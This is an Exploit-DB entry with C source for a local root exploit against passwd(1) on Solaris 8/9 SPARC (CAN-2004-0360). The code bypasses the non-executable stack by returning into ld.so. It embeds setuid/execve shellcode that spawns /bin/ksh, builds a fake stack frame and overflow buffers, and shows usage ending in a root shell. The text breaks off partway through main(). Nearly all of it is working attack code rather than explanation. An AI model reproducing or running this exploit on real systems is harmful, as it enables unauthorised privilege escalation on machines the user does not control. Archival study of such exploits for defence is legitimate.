Exploit-DB #715
Description: Solaris 8/9 passwd - 'circ()' Local Privilege Escalation
Type: local
Platform: solaris
Date: 2004-12-24
Author: Marco Ivaldi

Exploit:
/*
 * $Id: raptor_passwd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Unknown vulnerability in passwd(1) in Solaris 8.0 and 9.0 allows local users 
 * to gain privileges via unknown attack vectors (CAN-2004-0360).
 *
 * "Those of you lucky enough to have your lives, take them with you. However,
 * leave the limbs you've lost. They belong to me now." -- Beatrix Kidd0
 *
 * This exploit uses the ret-into-ld.so technique, to effectively bypass the
 * non-executable stack protection (noexec_user_stack=1 in /etc/system). The
 * exploitation wasn't so straight-forward: sending parameters to passwd(1) 
 * is somewhat tricky, standard ret-into-stack doesn't seem to work properly 
 * for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory
 * references before reaching ret. Many thanks to Inode <inode@deadlocks.info>.
 *
 * Usage:
 * $ gcc raptor_passwd.c -o raptor_passwd -ldl -Wall
 * $ ./raptor_passwd <current password>
 * [...]
 * # id
 * uid=0(root) gid=1(other) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 with 108993-14 through 108993-31 and without 108993-32 [tested]
 * Solaris 9 without 113476-11 [tested]
 */

#include <ctype.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define	INFO1	"raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9"
#define	INFO2	"Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/bin/passwd"	// target vulnerable program
#define	BUFSIZE	256			// size of the evil buffer
#define	VARSIZE	1024			// size of the evil env var
#define	FFSIZE	64 + 1			// size of the fake frame
#define	DUMMY	0xdeadbeef		// dummy memory address
#define	CMD	"id;uname -a;uptime;\n"	// execute upon exploitation

/* voodoo macros */
#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_addr(int addr, char *pattern);
int	find_pts(char **slave);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);
void	shell(int fd);
int	read_prompt(int fd, char *buf, int size);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
	char	platform[256], release[256], cur_pass[256], tmp[256];
	int	i, offset, ff_addr, sc_addr, var_addr;
	int	plat_len, prog_len, rel;

	char	*arg[2] = {"foo", NULL};
	int	arg_len = 4, arg_pos = 1;

	int 	pid, cfd, newpts;
	char	*newpts_str;

	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
	int	ret = search_ldso("strcpy");
	int	rwx_mem = search_rwx_mem();

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s current_pass\n\n", argv[0]);
		exit(1);
	}
	sprintf(cur_pass, "%s\n", argv[1]);

	/* get some system information */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	rel = atoi(release + 2);

	/* prepare the evil buffer */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;
	buf[sizeof(buf) - 2] = '\n';

	/* prepare the evil env var */
	memset(var, 'B', sizeof(var));
	var[sizeof(var) - 1] = 0x0;

	/* prepare the fake frame */
	bzero(ff, sizeof(ff));

	/*
	 * saved %l registers
	 */
	set_val(ff, i  = 0, DUMMY);		/* %l0 */
	set_val(ff, i += 4, DUMMY);		/* %l1 */
	set_val(ff, i += 4, DUMMY);		/* %l2 */
	set_val(ff, i += 4, DUMMY);		/* %l3 */
	set_val(ff, i += 4, DUMMY);		/* %l4 */
	set_val(ff, i += 4, DUMMY);		/* %l5 */
	set_val(ff, i += 4, DUMMY);		/* %l6 */
	set_val(ff, i += 4, DUMMY);		/* %l7 */

	/*
	 * saved %i registers
	 */
	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to strcpy() */
	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to strcpy() */
	set_val(ff, i += 4, DUMMY);		/* %i2 */
	set_val(ff, i += 4, DUMMY);		/* %i3 */
	set_val(ff, i += 4, DUMMY);		/* %i4 */
	set_val(ff, i += 4, DUMMY);		/* %i5 */
	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */

	/* fill the envp, keeping padding */
	ff_addr = add_env(var);			/* var must be before ff! */
	sc_addr = add_env(ff);
	add_env(sc);
	add_env(NULL);

	/* calculate the offset to argv[0] (voodoo magic) */
	plat_len = strlen(platform) + 1;
	prog_len = strlen(VULN) + 1;
	offset = arg_len + env_len + plat_len + prog_len;
	if (rel > 7)
		VOODOO64(offset, arg_pos, env_pos)
	else
		VOODOO32(offset, plat_len, prog_len)

	/* calculate the needed addresses */
	var_addr = sb - offset + arg_len;
	ff_addr += var_addr;
	sc_addr += var_addr;

	/* set fake frame's %i1 */
	set_val(ff, 36, sc_addr);		/* 2nd arg to strcpy() */

	/* check the addresses */
	check_addr(var_addr, "var_addr");
	check_addr(ff_addr, "ff_addr");

	/* fill the evil buffer */
	for (i = 0; i < BUFSIZE - 4; i += 4)
		set_val(buf, i, var_addr);
	/* may need to bruteforce the distance here */
	set_val(buf, 112, ff_addr);
	set_val(buf, 116, ret - 4);		/* strcpy(), after the save */

	/* fill the evil env var */
	for (i = 0; i < VARSIZE - 4; i += 4)
		set_val(var, i, var_addr);
	set_val(var, 0, 0xffffffff);		/* first byte must be 0xff! */